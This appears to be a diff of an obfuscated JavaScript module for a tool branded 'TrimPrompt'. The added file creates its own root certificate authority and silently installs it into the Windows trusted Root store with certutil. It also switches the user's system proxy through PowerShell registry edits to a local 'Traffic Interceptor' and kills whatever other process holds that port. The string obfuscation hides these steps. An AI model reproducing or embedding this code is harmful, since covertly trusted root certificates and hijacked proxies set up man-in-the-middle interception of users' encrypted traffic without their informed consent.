_0xde89d3=(0x0,child_process_1[_0x28b9a6(0x91)])(_0x28b9a6(0xdd)+_0x413ec0+_0x28b9a6(0xa4),{'encoding':_0x28b9a6(0xbd),'timeout':0xbb8}),_0x214349=_0xde89d3[_0x28b9a6(0xd4)]()[_0x28b9a6(0xb6)](/\s+/),_0xb641b0=_0x214349[_0x214349[_0x28b9a6(0x97)]-0x1];if(_0xb641b0&&_0xb641b0!==String(process[_0x28b9a6(0xe7)])){(0x0,child_process_1[_0x28b9a6(0x91)])(_0x28b9a6(0xc7)+_0xb641b0+_0x28b9a6(0x9e),{'stdio':_0x28b9a6(0xbf),'timeout':0xbb8}),console[_0x28b9a6(0xb9)](_0x28b9a6(0xb5)+_0xb641b0+_0x28b9a6(0x96)),setTimeout(()=>_0x20398b[_0x28b9a6(0xec)](_0x413ec0,_0x28b9a6(0xc8)),0x1f4);return;}}}catch{}console['error'](_0x28b9a6(0xde)+_0x413ec0+_0x28b9a6(0xd5));}else console[_0x28b9a6(0x9b)](_0x28b9a6(0xe2)+_0x1072d6[_0x28b9a6(0xb0)]);}),_0x20398b['on'](_0x3700de(0xa7),(_0x53e25d,_0x2f7a90)=>{const _0x4ca3a6=_0x3700de;_0x2f7a90[_0x4ca3a6(0x92)](0xc8,{'Content-Type':_0x4ca3a6(0xbe)}),_0x2f7a90[_0x4ca3a6(0xc1)](JSON['stringify']({'status':_0x4ca3a6(0xce),'url':_0x53e25d['url']}));}),_0x20398b['on']('connect',(_0x1fa43e,_0x1b6526,_0x5529d1)=>{const _0x945821=_0x3700de,[_0x92c4b0,_0xfbd4e]=(_0x1fa43e[_0x945821(0xd8)]||'')[_0x945821(0xb6)](':'),_0x51a6f7=parseInt(_0xfbd4e,0xa)||0x1bb,_0x542d54=net[_0x945821(0xba)](_0x51a6f7,_0x92c4b0,()=>{const _0x52ae76=_0x945821;_0x1b6526[_0x52ae76(0xe4)]('HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a'),_0x542d54[_0x52ae76(0xe4)](_0x5529d1),_0x542d54['pipe'](_0x1b6526),_0x1b6526['pipe'](_0x542d54);});_0x542d54['on'](_0x945821(0x9b),()=>{const _0x225faf=_0x945821;try{_0x1b6526[_0x225faf(0xc1)]();}catch{}}),_0x1b6526['on']('error',()=>{const _0x56ae86=_0x945821;try{_0x542d54[_0x56ae86(0xc1)]();}catch{}});}),_0x20398b['listen'](_0x413ec0,_0x3700de(0xc8),()=>{const _0xb634f6=_0x3700de;console[_0xb634f6(0xb9)](_0xb634f6(0xaa)+_0x413ec0);});}
|
|
1
|
+
'use strict';function a0_0x3ca3(_0x46c98e,_0x46892b){_0x46c98e=_0x46c98e-0x17f;const _0x425f69=a0_0x425f();let _0x3ca348=_0x425f69[_0x46c98e];return _0x3ca348;}const a0_0x50d6e4=a0_0x3ca3;(function(_0x251bb1,_0x31249f){const _0x4c6d7b=a0_0x3ca3,_0x3985f7=_0x251bb1();while(!![]){try{const _0x4d60df=parseInt(_0x4c6d7b(0x1b9))/0x1*(parseInt(_0x4c6d7b(0x1ae))/0x2)+-parseInt(_0x4c6d7b(0x198))/0x3+-parseInt(_0x4c6d7b(0x1c0))/0x4+-parseInt(_0x4c6d7b(0x1b6))/0x5+-parseInt(_0x4c6d7b(0x193))/0x6*(-parseInt(_0x4c6d7b(0x185))/0x7)+-parseInt(_0x4c6d7b(0x1ad))/0x8*(parseInt(_0x4c6d7b(0x18f))/0x9)+parseInt(_0x4c6d7b(0x1ba))/0xa;if(_0x4d60df===_0x31249f)break;else _0x3985f7['push'](_0x3985f7['shift']());}catch(_0x4e8493){_0x3985f7['push'](_0x3985f7['shift']());}}}(a0_0x425f,0xd46ac));var __createBinding=this&&this[a0_0x50d6e4(0x1ca)]||(Object[a0_0x50d6e4(0x194)]?function(_0x5d72db,_0xc2d290,_0x4e6d58,_0x42459a){const _0x42b95b=a0_0x50d6e4;if(_0x42459a===undefined)_0x42459a=_0x4e6d58;var _0x4eb400=Object[_0x42b95b(0x1c2)](_0xc2d290,_0x4e6d58);(!_0x4eb400||(_0x42b95b(0x1aa)in _0x4eb400?!_0xc2d290[_0x42b95b(0x1be)]:_0x4eb400['writable']||_0x4eb400['configurable']))&&(_0x4eb400={'enumerable':!![],'get':function(){return _0xc2d290[_0x4e6d58];}}),Object[_0x42b95b(0x19c)](_0x5d72db,_0x42459a,_0x4eb400);}:function(_0x1a6251,_0xdf1993,_0x1091d6,_0xc1704f){if(_0xc1704f===undefined)_0xc1704f=_0x1091d6;_0x1a6251[_0xc1704f]=_0xdf1993[_0x1091d6];}),__setModuleDefault=this&&this[a0_0x50d6e4(0x1d1)]||(Object['create']?function(_0x45880c,_0xc65b72){const _0x28da00=a0_0x50d6e4;Object[_0x28da00(0x19c)](_0x45880c,'default',{'enumerable':!![],'value':_0xc65b72});}:function(_0x57b2c1,_0x5068c6){const _0x17f565=a0_0x50d6e4;_0x57b2c1[_0x17f565(0x195)]=_0x5068c6;}),__importStar=this&&this['__importStar']||(function(){var _0x59fdf9=function(_0x205dd9){const _0x5dffbe=a0_0x3ca3;return _0x59fdf9=Object[_0x5dffbe(0x180)]||function(_0x4036ce){const _0x48a712=_0x5dffbe;var _0x5a0759=[];for(var _0x14eaaf in _0x4036ce)if(Object['prototype'][_0x48a712(0x19f)][_0x48a712(0x1bd)](_0x4036ce,_0x14eaaf))_0x5a0759[_0x5a0759['length']]=_0x14eaaf;return _0x5a0759;},_0x59fdf9(_0x205dd9);};return function(_0x214b0f){const _0x51c04e=a0_0x3ca3;if(_0x214b0f&&_0x214b0f['__esModule'])return _0x214b0f;var _0x51c082={};if(_0x214b0f!=null){for(var _0x1aff08=_0x59fdf9(_0x214b0f),_0x252ad1=0x0;_0x252ad1<_0x1aff08['length'];_0x252ad1++)if(_0x1aff08[_0x252ad1]!==_0x51c04e(0x195))__createBinding(_0x51c082,_0x214b0f,_0x1aff08[_0x252ad1]);}return __setModuleDefault(_0x51c082,_0x214b0f),_0x51c082;};}());Object[a0_0x50d6e4(0x19c)](exports,a0_0x50d6e4(0x1be),{'value':!![]}),exports[a0_0x50d6e4(0x1cc)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports[a0_0x50d6e4(0x19a)]=enableSystemProxy,exports[a0_0x50d6e4(0x19d)]=disableSystemProxy,exports[a0_0x50d6e4(0x199)]=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x50d6e4(0x1c3))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x50d6e4(0x18e))),crypto=__importStar(require(a0_0x50d6e4(0x184))),child_process_1=require(a0_0x50d6e4(0x18b)),baseDir=path[a0_0x50d6e4(0x1c5)](os[a0_0x50d6e4(0x1cd)](),a0_0x50d6e4(0x1a7)),caCertPath=path[a0_0x50d6e4(0x1c5)](baseDir,a0_0x50d6e4(0x1c6)),caKeyPath=path[a0_0x50d6e4(0x1c5)](baseDir,'ca.key');function ensureBaseDir(){const _0x5c2bdd=a0_0x50d6e4;if(!fs['existsSync'](baseDir))fs[_0x5c2bdd(0x1d2)](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x83387d=a0_0x50d6e4;ensureBaseDir();if(fs[_0x83387d(0x1bc)](caCertPath)&&fs[_0x83387d(0x1bc)](caKeyPath))return{'cert':fs[_0x83387d(0x189)](caCertPath,_0x83387d(0x1c7)),'key':fs[_0x83387d(0x189)](caKeyPath,_0x83387d(0x1c7))};const {privateKey:_0x675b4c,publicKey:_0x1eba9b}=crypto[_0x83387d(0x1a4)](_0x83387d(0x1b2),{'modulusLength':0x800,'publicKeyEncoding':{'type':'spki','format':'pem'},'privateKeyEncoding':{'type':_0x83387d(0x1ab),'format':_0x83387d(0x1a1)}}),_0x10f374=crypto[_0x83387d(0x1b5)]?crypto[_0x83387d(0x1b5)]():null;let _0x17c527='';return _0x10f374?(_0x10f374[_0x83387d(0x1c1)](_0x83387d(0x181)),_0x10f374['setIssuer']('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x10f374[_0x83387d(0x1d0)](crypto[_0x83387d(0x1c4)](_0x1eba9b)),_0x10f374['sign'](crypto[_0x83387d(0x1a8)](_0x675b4c),_0x83387d(0x18d)),_0x17c527=_0x10f374[_0x83387d(0x1a6)]('pem')[_0x83387d(0x1cb)]()):_0x17c527=_0x1eba9b,fs[_0x83387d(0x191)](caKeyPath,_0x675b4c,_0x83387d(0x1c7)),fs[_0x83387d(0x191)](caCertPath,_0x17c527,_0x83387d(0x1c7)),{'cert':_0x17c527,'key':_0x675b4c};}function installSystemCaCert(){const _0x100224=a0_0x50d6e4;if(process['platform']!==_0x100224(0x1d4))return![];try{return generateCaCertificate(),(0x0,child_process_1['execSync'])(_0x100224(0x190)+caCertPath+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function a0_0x425f(){const _0x4357b7=['child_process','end','sha256','http','108621XLiczh','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeFileSync','connect','5826ezNUiA','create','default','split','trim','1523556okwHxr','startTrafficInterceptor','enableSystemProxy','stringify','defineProperty','disableSystemProxy','listen','hasOwnProperty','.\x20Retrying\x20listen...','pem','Set-ItemProperty\x20-Path\x20\x27','taskkill\x20/PID\x20','generateKeyPairSync','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','export','.trimprompt','createPrivateKey','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','get','pkcs8','length','24MlAKvE','4EXkdbx','message','127.0.0.1','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','rsa','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','pid','createCertificate','6402430ptLVXY','error','code','651352aOlWSW','11982340NJiptq','pipe','existsSync','call','__esModule','replace','2383024TZWGyl','setSubject','getOwnPropertyDescriptor','path','createPublicKey','join','ca.crt','utf8','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','\x20/F','__createBinding','toString','generateCaCertificate','homedir','execSync','\x20|\x20findstr\x20LISTENING','setPublicKey','__setModuleDefault','mkdirSync','powershell.exe\x20-NoProfile\x20-Command\x20\x22','win32','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','createServer','getOwnPropertyNames','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','url','crypto','5691IHimZW','log','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','platform','readFileSync','ignore'];a0_0x425f=function(){return _0x4357b7;};return a0_0x425f();}function enableSystemProxy(_0x51bfd3=0x1f90){const _0x49ac92=a0_0x50d6e4;if(process['platform']!==_0x49ac92(0x1d4))return![];try{const _0x5a45f8='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x25e80a='127.0.0.1:'+_0x51bfd3,_0x1afc37=_0x49ac92(0x1a2)+_0x5a45f8+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5a45f8+_0x49ac92(0x187)+_0x25e80a+'\x27';return(0x0,child_process_1[_0x49ac92(0x1ce)])(_0x49ac92(0x1d3)+_0x1afc37[_0x49ac92(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x49ac92(0x18a),'timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x13a89e=a0_0x50d6e4;if(process['platform']!==_0x13a89e(0x1d4))return![];try{const _0x5eb58f=_0x13a89e(0x1b1),_0x334e08=_0x13a89e(0x1a2)+_0x5eb58f+_0x13a89e(0x1d5);return(0x0,child_process_1[_0x13a89e(0x1ce)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x334e08[_0x13a89e(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x5d4982=0x1f90){const _0x22897c=a0_0x50d6e4,_0x24d73b=http[_0x22897c(0x17f)]();_0x24d73b['on'](_0x22897c(0x1b7),_0x5949a9=>{const _0x15c7bc=_0x22897c;if(_0x5949a9[_0x15c7bc(0x1b8)]==='EADDRINUSE'){console['log'](_0x15c7bc(0x1a5)+_0x5d4982+'\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...');try{if(process[_0x15c7bc(0x188)]==='win32'){const _0x48efda=(0x0,child_process_1[_0x15c7bc(0x1ce)])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x5d4982+_0x15c7bc(0x1cf),{'encoding':_0x15c7bc(0x1c7),'timeout':0xbb8}),_0x2c771d=_0x48efda[_0x15c7bc(0x197)]()[_0x15c7bc(0x196)](/\s+/),_0x6424bd=_0x2c771d[_0x2c771d[_0x15c7bc(0x1ac)]-0x1];if(_0x6424bd&&_0x6424bd!==String(process[_0x15c7bc(0x1b4)])){(0x0,child_process_1[_0x15c7bc(0x1ce)])(_0x15c7bc(0x1a3)+_0x6424bd+_0x15c7bc(0x1c9),{'stdio':_0x15c7bc(0x18a),'timeout':0xbb8}),console[_0x15c7bc(0x186)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x6424bd+_0x15c7bc(0x1a0)),setTimeout(()=>_0x24d73b[_0x15c7bc(0x19e)](_0x5d4982,_0x15c7bc(0x1b0)),0x1f4);return;}}}catch{}console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1a5)+_0x5d4982+_0x15c7bc(0x182));}else console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1c8)+_0x5949a9[_0x15c7bc(0x1af)]);}),_0x24d73b['on']('request',(_0x3e8a34,_0x10f89c)=>{const _0x3be463=_0x22897c;_0x10f89c['writeHead'](0xc8,{'Content-Type':'application/json'}),_0x10f89c['end'](JSON[_0x3be463(0x19b)]({'status':'TrimPrompt\x20Traffic\x20Interceptor\x20Active','url':_0x3e8a34[_0x3be463(0x183)]}));}),_0x24d73b['on'](_0x22897c(0x192),(_0x3d59f8,_0x571f04,_0x536456)=>{const _0x3b0e0e=_0x22897c,[_0x40506f,_0x18c2d2]=(_0x3d59f8[_0x3b0e0e(0x183)]||'')['split'](':'),_0x12967a=parseInt(_0x18c2d2,0xa)||0x1bb,_0x2c4b6a=net[_0x3b0e0e(0x192)](_0x12967a,_0x40506f,()=>{const _0x4aa85a=_0x3b0e0e;_0x571f04['write'](_0x4aa85a(0x1a9)),_0x2c4b6a['write'](_0x536456),_0x2c4b6a[_0x4aa85a(0x1bb)](_0x571f04),_0x571f04['pipe'](_0x2c4b6a);});_0x2c4b6a['on'](_0x3b0e0e(0x1b7),()=>{const _0x12aa9b=_0x3b0e0e;try{_0x571f04[_0x12aa9b(0x18c)]();}catch{}}),_0x571f04['on'](_0x3b0e0e(0x1b7),()=>{const _0x17b07c=_0x3b0e0e;try{_0x2c4b6a[_0x17b07c(0x18c)]();}catch{}});}),_0x24d73b[_0x22897c(0x19e)](_0x5d4982,_0x22897c(0x1b0),()=>{const _0x18f789=_0x22897c;console[_0x18f789(0x186)](_0x18f789(0x1b3)+_0x5d4982);});}
|